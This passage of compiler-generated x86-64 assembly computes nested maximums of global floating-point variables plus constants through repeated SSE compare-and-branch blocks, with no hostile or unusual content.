pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L225
.L1421:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
.L225:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1422
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
jmp .L228
.L1422:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L228:
comisd xmm0, xmm1
jbe .L1423
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1424
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L238
.L1424:
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L238
.L1423:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1425
movss xmm1, DWORD PTR x_4[rip]
movss xmm0, DWORD PTR .LC30[rip]
addss xmm0, xmm1
jmp .L238
.L1425:
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
jmp .L238
.L1420:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1426
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L241
.L1426:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L241:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC29[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1427
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L244
.L1427:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
.L244:
comisd xmm0, xmm1
jbe .L1428
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1429
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L238
.L1429:
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L238
.L1428:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1430
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L238
.L1430:
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC31[rip]
addss xmm0, xmm1
.L238:
movss DWORD PTR -52[rbp], xmm0
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1431
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
jmp .L256
.L1431:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L256:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1432
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
jmp .L259
.L1432:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L259:
comisd xmm0, xmm1
jbe .L1433
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1434
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
jmp .L265
.L1434:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
jmp .L265
.L1433:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1435
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L265
.L1435:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L265:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1436
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L271
.L1436:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L271:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_13[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC6[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1437
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
jmp .L274
.L1437:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
.L274:
comisd xmm1, xmm2
jbe .L1438
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1439
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L280
.L1439:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L280
.L1438:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1440
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L280
.L1440:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L280:
comisd xmm0, xmm1
jbe .L1441
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1442
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
jmp .L288
.L1442:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L288:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1443
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
jmp .L291
.L1443:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L291:
comisd xmm0, xmm1
jbe .L1444
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1445
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC30[rip]
addss xmm0, xmm1
jmp .L301
.L1445:
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L301
.L1444:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1446
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC33[rip]
addss xmm0, xmm1
jmp .L301
.L1446:
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L301
.L1441:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1447
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L304
.L1447:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L304:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1448
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L307
.L1448:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L307:
comisd xmm0, xmm1
jbe .L1449
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1450
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L301
.L1450:
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L301
.L1449:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1451
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L301
.L1451:
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
.L301:
movss DWORD PTR -48[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1452
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L319
.L1452:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
.L319:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_4[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC18[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1453
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L322
.L1453:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
.L322:
comisd xmm0, xmm1
jbe .L1454
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1455
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L328
.L1455:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
jmp .L328
.L1454:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1456
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
jmp .L328
.L1456:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC18[rip]
addsd xmm0, xmm1
.L328:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1457
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
jmp .L334
.L1457:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
.L334:
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_12[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC2[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1458
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
jmp .L337
.L1458:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
.L337:
comisd xmm1, xmm2
jbe .L1459
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC22[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1460
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC35[rip]
addsd xmm1, xmm2
jmp .L343
.L1460:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
jmp .L343
.L1459:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1461
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
jmp .L343
.L1461:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L343:
comisd xmm0, xmm1
jbe .L1462
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1463
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L351
.L1463:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
.L351:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_4[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC18[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1464
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L354
.L1464:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
.L354:
comisd xmm0, xmm1
jbe .L1465
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1466
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L364
.L1466:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC36[rip]
addss xmm0, xmm1
jmp .L364
.L1465:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1467
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L364
.L1467:
movss xmm1, DWORD PTR x_4[rip]
movss xmm0, DWORD PTR .LC21[rip]
addss xmm0, xmm1
jmp .L364
.L1462:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC35[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1468
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC35[rip]
addsd xmm0, xmm1
jmp .L367
.L1468:
movss xmm0, DWORD PTR x_10[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
.L367:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1469
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
jmp .L370
.L1469:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L370:
comisd xmm0, xmm1
jbe .L1470
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC35[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1471
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC37[rip]
addss xmm0, xmm1
jmp .L364
.L1471:
movss xmm1, DWORD PTR x_10[rip]
movss xmm0, DWORD PTR .LC25[rip]
addss xmm0, xmm1
jmp .L364
.L1470:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
